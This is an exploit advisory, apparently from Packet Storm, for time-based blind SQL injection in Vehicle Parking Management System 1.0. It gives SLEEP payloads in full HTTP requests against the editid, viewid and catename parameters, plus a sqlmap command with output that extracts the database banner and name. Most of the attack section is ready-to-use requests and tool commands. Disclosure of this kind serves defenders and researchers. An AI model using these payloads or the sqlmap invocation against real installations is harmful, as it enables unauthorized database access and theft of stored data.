exploit the possibilities

Vehicle Parking Management System 1.0 SQL Injection

Vehicle Parking Management System 1.0 SQL Injection
Posted Jul 21, 2021
Authored by faisalfs10x

Vehicle Parking Management System version 1.0 suffers from a remote SQL injection vulnerability. Original discovery of SQL injection in this version is attributed to gh1mau in July of 2020.

tags | exploit, remote, sql injection
MD5 | 0bec78de274f574f3704caf7dc30e908

Vehicle Parking Management System 1.0 SQL Injection

Change Mirror Download
# Exploit Title: Vehicle Parking Management System - Multiple time-based SQL Injection
# Date: 2021-07-09
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/vehicle-parking-management-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Windows 10, XAMPP


################
# Description #
################

# The system is vulnerable to time-based SQL injection on multiple endpoints. Based on the SLEEP(N) function payload that will sleep for a number of seconds used on the mentioned parameters below, the server response is about (N) seconds delay respectively which mean it is vulnerable to MySQL Blind (Time Based). An attacker can use sqlmap to further the exploitation for extracting sensitive information from the database.


#####################
# PoC of detection #
#####################


PoC #1) param editid - time-based SQLi
Payload: '+AND+(SELECT+5+FROM+(SELECT(SLEEP(5)))B)--+
Request: The response duration = 3251 bytes | 5,024 millis
========

GET /vpms/edit-category.php?editid=5'+AND+(SELECT+5+FROM+(SELECT(SLEEP(5)))B)--+ HTTP/1.1
Host: localhost
Cookie: PHPSESSID=01nt1pa7lgtioktv5ii907c8l3
Upgrade-Insecure-Requests: 1
Referer: http://localhost/vpms/manage-category.php
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
Cache-Control: max-age=0

---


PoC #2) param viewid - time-based SQLi
Payload: '+AND+(SELECT+5+FROM+(SELECT(SLEEP(5)))B)--+
Request: The response duration = 10234 bytes | 5,027 millis
========

GET /vpms/view-outgoingvehicle-detail.php?viewid=4'+AND+(SELECT+5+FROM+(SELECT(SLEEP(5)))B)--+ HTTP/1.1
Host: localhost
Cookie: PHPSESSID=01nt1pa7lgtioktv5ii907c8l3
Upgrade-Insecure-Requests: 1
Referer: http://localhost/vpms/manage-outgoingvehicle.php
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
Cache-Control: max-age=0

---


PoC #3) param catename - time-based SQLi
Payload: ' AND (SELECT 1 FROM (SELECT(SLEEP(2)))A) AND 'B'='B
Request: The response duration = 10234 bytes | 2,037 millis
========

POST /vpms/add-category.php HTTP/1.1
Host: localhost
Origin: http://localhost
Cookie: PHPSESSID=01nt1pa7lgtioktv5ii907c8l3
Upgrade-Insecure-Requests: 1
Referer: http://localhost/vpms/add-category.php
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryps9OB3CnjLULpt3n
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 290

------WebKitFormBoundaryps9OB3CnjLULpt3n
Content-Disposition: form-data; name="catename"

VIP' AND (SELECT 1 FROM (SELECT(SLEEP(2)))A) AND 'B'='B
------WebKitFormBoundaryps9OB3CnjLULpt3n
Content-Disposition: form-data; name="submit"

žée
------WebKitFormBoundaryps9OB3CnjLULpt3n--

---


PoC #4) param viewid - time-based SQLi
Payload: '+AND+(SELECT+7+FROM+(SELECT(SLEEP(3)))A)--+
Request: The response duration = 11452 bytes | 3,041 millis
========

GET /vpms/view-incomingvehicle-detail.php?viewid=7'+AND+(SELECT+7+FROM+(SELECT(SLEEP(3)))A)--+ HTTP/1.1
Host: localhost
Cookie: PHPSESSID=01nt1pa7lgtioktv5ii907c8l3
Upgrade-Insecure-Requests: 1
Referer: http://localhost/vpms/manage-incomingvehicle.php
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
Cache-Control: max-age=0

---


########################
# PoC of exploitation #
########################

# Run sqlmap to extract current database name:

$ sqlmap -u "http://localhost/vpms/edit-category.php?editid=5" --cookie="PHPSESSID=01nt1pa7lgtioktv5ii907c8l3" --timeout=30 --retries=3 -p "editid" --dbms="MySQL" --level=3 --risk=3 --threads=10 --time-sec=5 -b --current-db --batch --answers="crack=N,dict=N,continue=Y,quit=N" --technique=T


###########
# Output #
###########


[INFO] testing connection to the target URL
[INFO] checking if the target is protected by some kind of WAF/IPS
[WARNING] heuristic (basic) test shows that GET parameter 'editid' might not be injectable
[INFO] testing for SQL injection on GET parameter 'editid'
[INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[WARNING] time-based comparison requires larger statistical model, please wait............................ (done)
[INFO] GET parameter 'editid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (3) value? [Y/n] Y
[INFO] checking if the injection point on GET parameter 'editid' is a false positive
GET parameter 'editid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 58 HTTP(s) requests:
---
Parameter: editid (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: editid=5' AND (SELECT 7492 FROM (SELECT(SLEEP(5)))DaOq)-- Otxt
---
[INFO] the back-end DBMS is MySQL
[INFO] fetching banner
multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] N
[INFO] retrieved:
[WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
10.1.19-MariaDB
web server operating system: Windows
web application technology: Apache 2.4.23, PHP 5.6.24
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
banner: '10.1.19-MariaDB'
[INFO] fetching current database
[INFO] retrieving the length of query output
[INFO] retrieved: 6
[INFO] retrieved: vpmsdb
current database: 'vpmsdb'
Login or Register to add favorites

File Archive:

August 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    1 Files
  • 2
    Aug 2nd
    7 Files
  • 3
    Aug 3rd
    5 Files
  • 4
    Aug 4th
    7 Files
  • 5
    Aug 5th
    7 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    0 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close